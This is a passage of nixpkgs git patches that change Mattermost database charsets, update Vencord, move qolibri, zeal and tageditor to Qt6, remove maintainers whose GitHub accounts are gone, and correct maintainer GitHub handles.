(cherry picked from commit 6cc8a8cdb582660c8f33f23ad949f4a5da07ee7a)
---
 nixos/modules/services/web-apps/mattermost.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/nixos/modules/services/web-apps/mattermost.nix b/nixos/modules/services/web-apps/mattermost.nix
index 83c9181ff302..f3d3be43eabc 100644
--- a/nixos/modules/services/web-apps/mattermost.nix
+++ b/nixos/modules/services/web-apps/mattermost.nix
@@ -668,7 +668,7 @@ in
               }
             else if cfg.database.driver == "mysql" then
               {
-                charset = "utf8mb4,utf8";
+                charset = "utf8mb4";
                 writeTimeout = "60s";
                 readTimeout = "60s";
               }
@@ -682,7 +682,7 @@ in
               }
             else if config.mattermost.database.driver == "mysql" then
               {
-                charset = "utf8mb4,utf8";
+                charset = "utf8mb4";
                 writeTimeout = "60s";
                 readTimeout = "60s";
               }

From e4408d52e5581773899dec31e492579c3e68b329 Mon Sep 17 00:00:00 2001
From: Morgan Jones <me@numin.it>
Date: Sat, 23 Aug 2025 22:09:04 -0700
Subject: [PATCH 4120/4511] mattermost: tests: use UTF-8 for database charset

There is a new test that checks this.

(cherry picked from commit 749675c629bb17deb26e35fe6c7053fe5ed73a55)
---
 pkgs/by-name/ma/mattermost/tests.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/ma/mattermost/tests.nix b/pkgs/by-name/ma/mattermost/tests.nix
index ed6e9125c435..e481066bb0c8 100644
--- a/pkgs/by-name/ma/mattermost/tests.nix
+++ b/pkgs/by-name/ma/mattermost/tests.nix
@@ -336,7 +336,7 @@ mattermost.overrideAttrs (
 
       # Start Postgres.
       export PGDATA="$NIX_BUILD_TOP/.postgres"
-      initdb -U postgres
+      initdb -E UTF8 -U postgres
       mkdir -p "$PGDATA/run"
       cat <<EOF >> "$PGDATA/postgresql.conf"
       unix_socket_directories = '$PGDATA/run'

From 396b7653d4b3aff22f7231c291e82f3e2e62a8af Mon Sep 17 00:00:00 2001
From: Gliczy <129636582+Gliczy@users.noreply.github.com>
Date: Sun, 31 Aug 2025 23:34:14 +0200
Subject: [PATCH 4121/4511] vencord: 1.12.12 -> 1.12.13

(cherry picked from commit 4213228329439773a7cbdbac00caeab0149662ab)
---
 pkgs/by-name/ve/vencord/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ve/vencord/package.nix b/pkgs/by-name/ve/vencord/package.nix
index 1bcf390fe49d..28ea135bbc51 100644
--- a/pkgs/by-name/ve/vencord/package.nix
+++ b/pkgs/by-name/ve/vencord/package.nix
@@ -14,13 +14,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "vencord";
-  version = "1.12.12";
+  version = "1.12.13";
 
   src = fetchFromGitHub {
     owner = "Vendicated";
     repo = "Vencord";
     rev = "v${finalAttrs.version}";
-    hash = "sha256-44Jiel/Y8ueZkZW0BFltgxrvSKkWmeKs8zVgFBJU+BI=";
+    hash = "sha256-mJPUt7+SjszRmscKr0HlW3X2yDwc9cCcJLz8rlg+gNA=";
   };
 
   pnpmDeps = pnpm_10.fetchDeps {

From d44c6318124a5119d5661b8988bbde1456b94760 Mon Sep 17 00:00:00 2001
From: azahi <azat@bahawi.net>
Date: Fri, 29 Aug 2025 22:06:42 +0300
Subject: [PATCH 4122/4511] qolibri: move to by-name, switch to Qt6

(cherry picked from commit e2ad57d487acab81377249ec17e389623aa0e6bd)
---
 .../qo/qolibri/package.nix}                    | 18 +++++++++---------
 pkgs/top-level/all-packages.nix                |  2 --
 2 files changed, 9 insertions(+), 11 deletions(-)
 rename pkgs/{applications/misc/qolibri/default.nix => by-name/qo/qolibri/package.nix} (89%)

diff --git a/pkgs/applications/misc/qolibri/default.nix b/pkgs/by-name/qo/qolibri/package.nix
similarity index 89%
rename from pkgs/applications/misc/qolibri/default.nix
rename to pkgs/by-name/qo/qolibri/package.nix
index bd4dfaf58a85..c7e8ec5ee395 100644
--- a/pkgs/applications/misc/qolibri/default.nix
+++ b/pkgs/by-name/qo/qolibri/package.nix
@@ -1,12 +1,10 @@
 {
-  stdenv,
-  lib,
-  fetchFromGitHub,
   cmake,
+  fetchFromGitHub,
+  lib,
   ninja,
-  qttools,
-  qtwebengine,
-  wrapQtAppsHook,
+  qt6Packages,
+  stdenv,
 }:
 
 let
@@ -32,12 +30,14 @@ stdenv.mkDerivation {
   nativeBuildInputs = [
     cmake
     ninja
-    qttools
-    wrapQtAppsHook
+    qt6Packages.qttools
+    qt6Packages.wrapQtAppsHook
   ];
 
   buildInputs = [
-    qtwebengine
+    qt6Packages.qt5compat
+    qt6Packages.qtmultimedia
+    qt6Packages.qtwebengine
   ];
 
   cmakeFlags = [
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 077e1c4c4e1f..5c432f109499 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -9453,8 +9453,6 @@ with pkgs;
     inherit (lomiri) cmake-extras;
   };
 
-  qolibri = libsForQt5.callPackage ../applications/misc/qolibri { };
-
   quarto = callPackage ../development/libraries/quarto { };
 
   quartoMinimal = callPackage ../development/libraries/quarto {

From 023cfcc04796c171b8649617e0ddfbb68070e767 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Markus=20Jylh=C3=A4nkangas?= <markus@jylhis.com>
Date: Sat, 30 Aug 2025 22:46:14 +0200
Subject: [PATCH 4123/4511] zeal: migrate to pkgs/by-name, use qt6

Motivated by qt5.qtwebengine being marked vulnerable (#435067):
- Move package from pkgs/data/documentation to pkgs/by-name/ze/zeal
- Switch from Qt5 to Qt6 as the default
- Remove zeal-qt5 and zeal-qt6 variants in favor of single Qt6 version
- Add aliases for deprecated Qt-specific variants

(cherry picked from commit 0e805d89c1af8e75b872d19916bd9e1586ae56f7)
---
 .../ze/zeal/package.nix}                      | 24 ++++++-------------
 pkgs/top-level/aliases.nix                    |  2 ++
 pkgs/top-level/all-packages.nix               |  6 -----
 3 files changed, 9 insertions(+), 23 deletions(-)
 rename pkgs/{data/documentation/zeal/default.nix => by-name/ze/zeal/package.nix} (80%)

diff --git a/pkgs/data/documentation/zeal/default.nix b/pkgs/by-name/ze/zeal/package.nix
similarity index 80%
rename from pkgs/data/documentation/zeal/default.nix
rename to pkgs/by-name/ze/zeal/package.nix
index dde6f06a4182..5c410836489c 100644
--- a/pkgs/data/documentation/zeal/default.nix
+++ b/pkgs/by-name/ze/zeal/package.nix
@@ -6,21 +6,12 @@
   extra-cmake-modules,
   pkg-config,
   httplib,
-  qtbase,
-  qtimageformats,
-  qtwebengine,
-  qtx11extras,
   libarchive,
   libXdmcp,
   libpthreadstubs,
-  wrapQtAppsHook,
   xcbutilkeysyms,
+  qt6,
 }:
-
-let
-  isQt5 = lib.versions.major qtbase.version == "5";
-
-in
 stdenv.mkDerivation (finalAttrs: {
   pname = "zeal";
   version = "0.7.2";
@@ -36,7 +27,7 @@ stdenv.mkDerivation (finalAttrs: {
     cmake
     extra-cmake-modules
     pkg-config
-    wrapQtAppsHook
+    qt6.wrapQtAppsHook
   ];
 
   buildInputs = [
@@ -44,12 +35,11 @@ stdenv.mkDerivation (finalAttrs: {
     libXdmcp
     libarchive
     libpthreadstubs
-    qtbase
-    qtimageformats
-    qtwebengine
+    qt6.qtbase
+    qt6.qtimageformats
+    qt6.qtwebengine
     xcbutilkeysyms
-  ]
-  ++ lib.optionals isQt5 [ qtx11extras ];
+  ];
 
   cmakeFlags = [
     (lib.cmakeBool "ZEAL_RELEASE_BUILD" true)
@@ -68,6 +58,6 @@ stdenv.mkDerivation (finalAttrs: {
       peterhoeg
     ];
     mainProgram = "zeal";
-    inherit (qtbase.meta) platforms;
+    inherit (qt6.qtbase.meta) platforms;
   };
 })
diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix
index b3906a2f6a62..1c6ab00a9a11 100644
--- a/pkgs/top-level/aliases.nix
+++ b/pkgs/top-level/aliases.nix
@@ -2117,6 +2117,8 @@ mapAliases {
   z3_4_8 = throw "'z3_4_8' has been removed in favour of the latest version. Use 'z3'."; # Added 2025-05-18
   zabbix50 = throw "'zabbix50' has been removed, it would have reached its End of Life a few days after the release of NixOS 25.05. Consider upgrading to 'zabbix60' or 'zabbix70'.";
   zabbix64 = throw "'zabbix64' has been removed because it reached its End of Life. Consider upgrading to 'zabbix70'.";
+  zeal-qt5 = lib.warnOnInstantiate "'zeal-qt5' has been removed from nixpkgs. Please use 'zeal' instead" zeal; # Added 2025-08-31
+  zeal-qt6 = lib.warnOnInstantiate "'zeal-qt6' has been renamed to 'zeal'" zeal; # Added 2025-08-31
   zeroadPackages = recurseIntoAttrs {
     zeroad = lib.warnOnInstantiate "'zeroadPackages.zeroad' has been renamed to 'zeroad'" zeroad; # Added 2025-03-22
     zeroad-data = lib.warnOnInstantiate "'zeroadPackages.zeroad-data' has been renamed to 'zeroad-data'" zeroad-data; # Added 2025-03-22
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 077e1c4c4e1f..013ff1e6090e 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -11922,12 +11922,6 @@ with pkgs;
     inherit (plasma5Packages) breeze-icons;
   };
 
-  zeal-qt5 = libsForQt5.callPackage ../data/documentation/zeal { };
-  zeal = zeal-qt5;
-  zeal-qt6 = qt6Packages.callPackage ../data/documentation/zeal {
-    qtx11extras = null; # Because it does not exist in qt6
-  };
-
   ### APPLICATIONS / GIS
 
   qgis-ltr = callPackage ../applications/gis/qgis/ltr.nix { };

From 5e9bdf922f940ab35c8c6fe28d6ff00006a9ed80 Mon Sep 17 00:00:00 2001
From: Kylie McClain <kylie@somas.is>
Date: Wed, 27 Aug 2025 21:58:08 -0400
Subject: [PATCH 4124/4511] tageditor: switch to using Qt6

(cherry picked from commit 360003df84a378f8569aa56f4877e2d7f161e60d)
---
 pkgs/by-name/ta/tageditor/package.nix | 21 +++++++++++++--------
 1 file changed, 13 insertions(+), 8 deletions(-)

diff --git a/pkgs/by-name/ta/tageditor/package.nix b/pkgs/by-name/ta/tageditor/package.nix
index f0babd818ed2..efdbaf461db6 100644
--- a/pkgs/by-name/ta/tageditor/package.nix
+++ b/pkgs/by-name/ta/tageditor/package.nix
@@ -7,8 +7,8 @@
   cpp-utilities,
   mp4v2,
   libid3tag,
-  libsForQt5,
-  qt5,
+  kdePackages,
+  qt6,
   tagparser,
 }:
 
@@ -26,21 +26,26 @@ stdenv.mkDerivation rec {
   nativeBuildInputs = [
     pkg-config
     cmake
-    qt5.wrapQtAppsHook
+    qt6.wrapQtAppsHook
   ];
 
   buildInputs = [
     mp4v2
     libid3tag
-    qt5.qtbase
-    qt5.qttools
-    qt5.qtx11extras
-    qt5.qtwebengine
     cpp-utilities
-    libsForQt5.qtutilities
+    kdePackages.qtutilities
+    qt6.qtbase
+    qt6.qttools
+    qt6.qtwebengine
     tagparser
   ];
 
+  cmakeFlags = [
+    "-DQT_PACKAGE_PREFIX=Qt6"
+    "-DQt6_DIR=${qt6.qtbase}/lib/cmake/Qt6"
+    "-DQt6WebEngineWidgets_DIR=${qt6.qtwebengine}/lib/cmake/Qt6WebEngineWidgets"
+  ];
+
   postInstall = lib.optionalString stdenv.hostPlatform.isDarwin ''
     mkdir -p $out/Applications
     mv $out/bin/*.app $out/Applications

From b04e603de3d75495a611c75f7508ba3baf3a2107 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 26 Aug 2025 11:37:54 +0200
Subject: [PATCH 4125/4511] maintainers: drop chrpinedo

GitHub account doesn't exist anymore.

(cherry picked from commit bfb483e7a72c437097311fc22e3aa8895f27e13b)
---
 maintainers/maintainer-list.nix                     | 5 -----
 pkgs/development/python-modules/curlify/default.nix | 1 -
 pkgs/tools/misc/pricehist/default.nix               | 1 -
 3 files changed, 7 deletions(-)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index 6933c1bfb0f4..e165bd676cbd 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -4537,11 +4537,6 @@
     githubId = 2245737;
     name = "Christopher Mark Poole";
   };
-  chrpinedo = {
-    github = "chrpinedo";
-    githubId = 2324630;
-    name = "Christian Pinedo";
-  };
   chuahou = {
     email = "human+github@chuahou.dev";
     github = "chuahou";
diff --git a/pkgs/development/python-modules/curlify/default.nix b/pkgs/development/python-modules/curlify/default.nix
index 8dfec8890269..7e1500b72d37 100644
--- a/pkgs/development/python-modules/curlify/default.nix
+++ b/pkgs/development/python-modules/curlify/default.nix
@@ -23,6 +23,5 @@ buildPythonPackage {
     description = "Convert python requests request object to cURL command";
     homepage = "https://github.com/ofw/curlify";
     license = licenses.mit;
-    maintainers = with maintainers; [ chrpinedo ];
   };
 }
diff --git a/pkgs/tools/misc/pricehist/default.nix b/pkgs/tools/misc/pricehist/default.nix
index cf5eb82a00ec..ffa4760ec903 100644
--- a/pkgs/tools/misc/pricehist/default.nix
+++ b/pkgs/tools/misc/pricehist/default.nix
@@ -46,6 +46,5 @@ buildPythonApplication rec {
     homepage = "https://gitlab.com/chrisberkhout/pricehist";
     license = licenses.mit;
     mainProgram = "pricehist";
-    maintainers = with maintainers; [ chrpinedo ];
   };
 }

From 3cdbdc50c5172c72d239f8f818ecfcd4ea345f73 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 26 Aug 2025 11:38:19 +0200
Subject: [PATCH 4126/4511] maintainers: drop galaxy

GitHub account doesn't exist anymore.

(cherry picked from commit 6eebc51ec200378023bb7eb4722eacba228bd5c4)
---
 maintainers/maintainer-list.nix          | 8 --------
 pkgs/by-name/gu/guile-sjson/package.nix  | 1 -
 pkgs/by-name/ko/konbucase/package.nix    | 1 -
 pkgs/by-name/lu/lux/package.nix          | 1 -
 pkgs/by-name/te/textsnatcher/package.nix | 1 -
 5 files changed, 12 deletions(-)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index e165bd676cbd..8a13910f8c40 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -8732,14 +8732,6 @@
     githubId = 45048741;
     name = "Alwanga Oyango";
   };
-  galaxy = {
-    email = "galaxy@dmc.chat";
-    matrix = "@galaxy:mozilla.org";
-    name = "The Galaxy";
-    github = "ga1aksy";
-    githubId = 148551648;
-    keys = [ { fingerprint = "48CA 3873 9E9F CA8E 76A0  835A E3DE CF85 4212 E1EA"; } ];
-  };
   gale-username = {
     name = "gale";
     email = "git@galewebsite.com";
diff --git a/pkgs/by-name/gu/guile-sjson/package.nix b/pkgs/by-name/gu/guile-sjson/package.nix
index 27ca1cf25668..b9378052133d 100644
--- a/pkgs/by-name/gu/guile-sjson/package.nix
+++ b/pkgs/by-name/gu/guile-sjson/package.nix
@@ -34,7 +34,6 @@ stdenv.mkDerivation (finalAttrs: {
     description = "S-expression based json reader/writer for Guile";
     homepage = "https://gitlab.com/dustyweb/guile-sjson";
     license = licenses.lgpl3Plus;
-    maintainers = with maintainers; [ galaxy ];
     platforms = guile.meta.platforms;
   };
 })
diff --git a/pkgs/by-name/ko/konbucase/package.nix b/pkgs/by-name/ko/konbucase/package.nix
index 6398565d3fde..128c00ba78bf 100644
--- a/pkgs/by-name/ko/konbucase/package.nix
+++ b/pkgs/by-name/ko/konbucase/package.nix
@@ -52,7 +52,6 @@ stdenv.mkDerivation (finalAttrs: {
     homepage = "https://github.com/ryonakano/konbucase";
     description = "Case converting app suitable for coding or typing";
     license = lib.licenses.gpl3Only;
-    maintainers = with lib.maintainers; [ galaxy ];
     platforms = lib.platforms.linux;
     mainProgram = "konbucase";
   };
diff --git a/pkgs/by-name/lu/lux/package.nix b/pkgs/by-name/lu/lux/package.nix
index 6510caf5e25e..3591469d9831 100644
--- a/pkgs/by-name/lu/lux/package.nix
+++ b/pkgs/by-name/lu/lux/package.nix
@@ -39,7 +39,6 @@ buildGoModule rec {
     homepage = "https://github.com/iawia002/lux";
     changelog = "https://github.com/iawia002/lux/releases/tag/v${version}";
     license = licenses.mit;
-    maintainers = with maintainers; [ galaxy ];
     mainProgram = "lux";
   };
 }
diff --git a/pkgs/by-name/te/textsnatcher/package.nix b/pkgs/by-name/te/textsnatcher/package.nix
index 50f9670d641d..2d6c1bd04a17 100644
--- a/pkgs/by-name/te/textsnatcher/package.nix
+++ b/pkgs/by-name/te/textsnatcher/package.nix
@@ -61,7 +61,6 @@ stdenv.mkDerivation (finalAttrs: {
     homepage = "https://textsnatcher.rf.gd/";
     changelog = "https://github.com/RajSolai/TextSnatcher/releases/tag/v${finalAttrs.version}";
     license = licenses.gpl3Only;
-    maintainers = with maintainers; [ galaxy ];
     mainProgram = "com.github.rajsolai.textsnatcher";
     platforms = platforms.linux;
   };

From a2ca8a6f2bbedb9aa5f6041e20b285883d76ace4 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 26 Aug 2025 11:39:13 +0200
Subject: [PATCH 4127/4511] maintainers: drop elysasrc

GitHub account doesn't exist anymore.

(cherry picked from commit 509cc57ac81855bbfb610ecbd93a8dc9020a724b)
---
 maintainers/maintainer-list.nix             | 6 ------
 pkgs/by-name/ca/catppuccin-sddm/package.nix | 1 -
 2 files changed, 7 deletions(-)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index 8a13910f8c40..a5890d0f3271 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -7258,12 +7258,6 @@
     githubId = 1365692;
     name = "Will Fancher";
   };
-  elysasrc = {
-    name = "Elysa";
-    github = "ElysaSrc";
-    githubId = 101974839;
-    email = "elysasrc@proton.me";
-  };
   emantor = {
     email = "rouven+nixos@czerwinskis.de";
     github = "Emantor";
diff --git a/pkgs/by-name/ca/catppuccin-sddm/package.nix b/pkgs/by-name/ca/catppuccin-sddm/package.nix
index 1de2521a5f42..0c3cacb5446e 100644
--- a/pkgs/by-name/ca/catppuccin-sddm/package.nix
+++ b/pkgs/by-name/ca/catppuccin-sddm/package.nix
@@ -74,7 +74,6 @@ stdenvNoCC.mkDerivation rec {
     description = "Soothing pastel theme for SDDM";
     homepage = "https://github.com/catppuccin/sddm";
     license = lib.licenses.mit;
-    maintainers = with lib.maintainers; [ elysasrc ];
     platforms = lib.platforms.linux;
   };
 }

From 3a27e7cb4ad09c6edc3ed226e2e17f2dda5af87a Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 26 Aug 2025 11:41:19 +0200
Subject: [PATCH 4128/4511] maintainers: drop hikari

The GitHub account doesn't exist anymore. Note: There is a *new* GitHub
account with the same name, but the ID is different.

Commit c48aae965e046dc41d11fc58234ce48dece3b385 introduced this
maintainer in 2023, but the new account was only created in 2024.

(cherry picked from commit 63c23752b2d6c5f8330cd75006cdd1e727571fdb)
---
 maintainers/maintainer-list.nix            | 6 ------
 pkgs/data/themes/lightly-boehs/default.nix | 1 -
 2 files changed, 7 deletions(-)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index a5890d0f3271..df27b788cea4 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -9937,12 +9937,6 @@
     github = "higebu";
     githubId = 733288;
   };
-  hikari = {
-    email = "HikariNee@protonmail.com";
-    github = "HikariNee";
-    githubId = 72349937;
-    name = "Hikari";
-  };
   hirenashah = {
     email = "hiren@hiren.io";
     github = "hirenashah";
diff --git a/pkgs/data/themes/lightly-boehs/default.nix b/pkgs/data/themes/lightly-boehs/default.nix
index 145b7a22037d..135fd633f51b 100644
--- a/pkgs/data/themes/lightly-boehs/default.nix
+++ b/pkgs/data/themes/lightly-boehs/default.nix
@@ -38,7 +38,6 @@ mkDerivation {
     mainProgram = "lightly-settings5";
     homepage = "https://github.com/boehs/Lightly";
     license = licenses.gpl2Plus;
-    maintainers = [ maintainers.hikari ];
     platforms = platforms.all;
   };
 }

From 1628802b4fabed6811a83ec68787622d196c4f95 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 26 Aug 2025 11:45:25 +0200
Subject: [PATCH 4129/4511] maintainers: drop srghma

GitHub account doesn't exist anymore.

(cherry picked from commit 6027a812f9f9d661b7ebcd41a7f7ecb4a811126e)
---
 maintainers/maintainer-list.nix                    | 6 ------
 pkgs/applications/graphics/image_optim/default.nix | 1 -
 pkgs/by-name/hu/hubstaff/package.nix               | 1 -
 pkgs/by-name/i3/i3-volume/package.nix              | 1 -
 pkgs/by-name/jp/jpeg-archive/package.nix           | 1 -
 pkgs/by-name/sa/safeeyes/package.nix               | 1 -
 pkgs/by-name/so/sozi/package.nix                   | 1 -
 pkgs/by-name/yo/youtubeuploader/package.nix        | 1 -
 8 files changed, 13 deletions(-)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index df27b788cea4..e55b5369469c 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -23405,12 +23405,6 @@
     githubId = 16364318;
     name = "Jeffrey Harmon";
   };
-  srghma = {
-    email = "srghma@gmail.com";
-    github = "srghma";
-    githubId = 7573215;
-    name = "Sergei Khoma";
-  };
   srgom = {
     github = "SRGOM";
     githubId = 8103619;
diff --git a/pkgs/applications/graphics/image_optim/default.nix b/pkgs/applications/graphics/image_optim/default.nix
index cf3f813906c6..28d8b62a1864 100644
--- a/pkgs/applications/graphics/image_optim/default.nix
+++ b/pkgs/applications/graphics/image_optim/default.nix
@@ -86,7 +86,6 @@ bundlerApp {
     homepage = "https://github.com/toy/image_optim";
     license = licenses.mit;
     maintainers = with maintainers; [
-      srghma
       nicknovitski
     ];
     platforms = platforms.all;
diff --git a/pkgs/by-name/hu/hubstaff/package.nix b/pkgs/by-name/hu/hubstaff/package.nix
index eb36c6820ce6..e2365117b5fc 100644
--- a/pkgs/by-name/hu/hubstaff/package.nix
+++ b/pkgs/by-name/hu/hubstaff/package.nix
@@ -131,7 +131,6 @@ stdenv.mkDerivation {
     platforms = [ "x86_64-linux" ];
     maintainers = with maintainers; [
       michalrus
-      srghma
     ];
   };
 }
diff --git a/pkgs/by-name/i3/i3-volume/package.nix b/pkgs/by-name/i3/i3-volume/package.nix
index b91e64e7e78d..281a1d505f4e 100644
--- a/pkgs/by-name/i3/i3-volume/package.nix
+++ b/pkgs/by-name/i3/i3-volume/package.nix
@@ -54,7 +54,6 @@ stdenv.mkDerivation rec {
       Works with any window manager, such as [i3wm](https://i3wm.org/), [bspwm](https://github.com/baskerville/bspwm), and [KDE](https://kde.org/), as a standalone script, or with statusbars such as [polybar](https://github.com/polybar/polybar), [i3blocks](https://github.com/vivien/i3blocks), [i3status](https://github.com/i3/i3status), and more.
     '';
     homepage = "https://github.com/hastinbe/i3-volume";
-    maintainers = with lib.maintainers; [ srghma ];
     mainProgram = "i3-volume";
     license = lib.licenses.gpl2;
     platforms = lib.platforms.linux;
diff --git a/pkgs/by-name/jp/jpeg-archive/package.nix b/pkgs/by-name/jp/jpeg-archive/package.nix
index dc893d758842..7b0378949874 100644
--- a/pkgs/by-name/jp/jpeg-archive/package.nix
+++ b/pkgs/by-name/jp/jpeg-archive/package.nix
@@ -52,7 +52,6 @@ stdenv.mkDerivation {
     description = "Utilities for archiving photos for saving to long term storage or serving over the web";
     homepage = "https://github.com/danielgtaylor/jpeg-archive";
     license = licenses.mit;
-    maintainers = [ maintainers.srghma ];
     platforms = platforms.all;
   };
 }
diff --git a/pkgs/by-name/sa/safeeyes/package.nix b/pkgs/by-name/sa/safeeyes/package.nix
index 4400848d7b32..a87c5346d1f5 100644
--- a/pkgs/by-name/sa/safeeyes/package.nix
+++ b/pkgs/by-name/sa/safeeyes/package.nix
@@ -79,7 +79,6 @@ buildPythonApplication rec {
     homepage = "http://slgobinath.github.io/SafeEyes";
     description = "Protect your eyes from eye strain using this simple and beautiful, yet extensible break reminder. A Free and Open Source Linux alternative to EyeLeo";
     license = licenses.gpl3;
-    maintainers = with maintainers; [ srghma ];
     platforms = platforms.linux;
     mainProgram = "safeeyes";
   };
diff --git a/pkgs/by-name/so/sozi/package.nix b/pkgs/by-name/so/sozi/package.nix
index 6492cb32e6c1..43c30a8df907 100644
--- a/pkgs/by-name/so/sozi/package.nix
+++ b/pkgs/by-name/so/sozi/package.nix
@@ -37,7 +37,6 @@ appimageTools.wrapType2 {
     homepage = "https://sozi.baierouge.fr/";
     license = lib.licenses.mpl20;
     mainProgram = "sozi";
-    maintainers = with lib.maintainers; [ srghma ];
     platforms = [ "x86_64-linux" ];
     sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ];
   };
diff --git a/pkgs/by-name/yo/youtubeuploader/package.nix b/pkgs/by-name/yo/youtubeuploader/package.nix
index e43d728ba85c..1d9ac75dd2c3 100644
--- a/pkgs/by-name/yo/youtubeuploader/package.nix
+++ b/pkgs/by-name/yo/youtubeuploader/package.nix
@@ -35,7 +35,6 @@ buildGoModule rec {
     homepage = "https://github.com/porjo/youtubeuploader";
     changelog = "https://github.com/porjo/youtubeuploader/releases/tag/v${version}";
     license = lib.licenses.asl20;
-    maintainers = with lib.maintainers; [ srghma ];
     mainProgram = "youtubeuploader";
     platforms = lib.platforms.unix;
   };

From 8db24a63489c5fb187fe50870d90bb97907a97f0 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 26 Aug 2025 11:40:02 +0200
Subject: [PATCH 4130/4511] maintainers: fix GitHub handles

This was created with maintainers/scripts/fix-maintainers.pl

(cherry picked from commit 52663dec47aeacb76ae12c04eedd4d8c51e8ec12)
---
 maintainers/maintainer-list.nix | 52 ++++++++++++++++-----------------
 1 file changed, 26 insertions(+), 26 deletions(-)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index e55b5369469c..a11a5e35c1b1 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -5485,7 +5485,7 @@
   dandellion = {
     email = "daniel@dodsorf.as";
     matrix = "@dandellion:dodsorf.as";
-    github = "dali99";
+    github = "D4ndellion";
     githubId = 990767;
     name = "Daniel Olsen";
   };
@@ -5882,7 +5882,7 @@
   declan = {
     name = "Declan Rixon";
     email = "declan.fraser.rixon@gmail.com";
-    github = "DeclanBaggins";
+    github = "MadelineBaggins";
     githubId = 57464835;
   };
   deeengan = {
@@ -7212,7 +7212,7 @@
   ElliottSullingeFarrall = {
     name = "Elliott Sullinge-Farrall";
     email = "elliott.chalford@gmail.com";
-    github = "ElliottSullingeFarrall";
+    github = "elliott-farrall";
     githubId = 108588212;
   };
   elliottvillars = {
@@ -8652,7 +8652,7 @@
   fxttr = {
     name = "Florian Büstgens";
     email = "fb@fx-ttr.de";
-    github = "fxttr";
+    github = "fmarl";
     githubId = 16306293;
   };
   fzakaria = {
@@ -8751,7 +8751,7 @@
   };
   gangaram = {
     email = "Ganga.Ram@tii.ae";
-    github = "gangaram-tii";
+    github = "gngram";
     githubId = 131853076;
     name = "Ganga Ram";
   };
@@ -8770,7 +8770,7 @@
   gardspirito = {
     name = "gardspirito";
     email = "nyxoroso@gmail.com";
-    github = "gardspirito";
+    github = "luna-spirito";
     githubId = 29687558;
   };
   garrison = {
@@ -9044,7 +9044,7 @@
   };
   gilice = {
     email = "gilice@proton.me";
-    github = "gilice";
+    github = "algorithmiker";
     githubId = 104317939;
     name = "gilice";
   };
@@ -12998,7 +12998,7 @@
   };
   kinzoku = {
     email = "kinzoku@the-nebula.xyz";
-    github = "kinzoku-dev";
+    github = "kinzokudev";
     githubId = 140647311;
     name = "Ayman Hamza";
   };
@@ -13797,7 +13797,7 @@
     name = "Jacob LeCoq";
     email = "lecoqjacob@gmail.com";
     githubId = 9278174;
-    github = "bayou-brogrammer";
+    github = "HexSleeves";
     keys = [ { fingerprint = "C505 1E8B 06AC 1776 6875  1B60 93AF DAD0 10B3 CB8D"; } ];
   };
   ledif = {
@@ -14773,7 +14773,7 @@
   };
   ma9e = {
     email = "sean@lfo.team";
-    github = "furrycatherder";
+    github = "sphaugh";
     githubId = 36235154;
     name = "Sean Haugh";
   };
@@ -16232,7 +16232,7 @@
   };
   minizilla = {
     email = "m.billyzaelani@gmail.com";
-    github = "minizilla";
+    github = "smoothprogrammer";
     githubId = 20436235;
     name = "Billy Zaelani Malik";
   };
@@ -16502,7 +16502,7 @@
     name = "Mon Aaraj";
     email = "owo69uwu69@gmail.com";
     matrix = "@mon:tchncs.de";
-    github = "ribosomerocker";
+    github = "subterfugue";
     githubId = 46468162;
   };
   moni = {
@@ -16587,7 +16587,7 @@
   };
   MostafaKhaled = {
     email = "mostafa.khaled.5422@gmail.com";
-    github = "mostafa-khaled775";
+    github = "m04f";
     githubId = 112074172;
     name = "Mostafa Khaled";
   };
@@ -17876,7 +17876,7 @@
   not-my-segfault = {
     email = "michal@tar.black";
     matrix = "@michal:tar.black";
-    github = "not-my-segfault";
+    github = "ihatethefrench";
     githubId = 30374463;
     name = "Michal S.";
   };
@@ -17890,7 +17890,7 @@
   notbandali = {
     name = "Amin Bandali";
     email = "bandali@gnu.org";
-    github = "bandali0";
+    github = "bandali";
     githubId = 1254858;
     keys = [ { fingerprint = "BE62 7373 8E61 6D6D 1B3A  08E8 A21A 0202 4881 6103"; } ];
   };
@@ -18525,7 +18525,7 @@
   };
   ornxka = {
     email = "ornxka@littledevil.sh";
-    github = "ornxka";
+    github = "warmdarksea";
     githubId = 52086525;
     name = "ornxka";
   };
@@ -18733,7 +18733,7 @@
   };
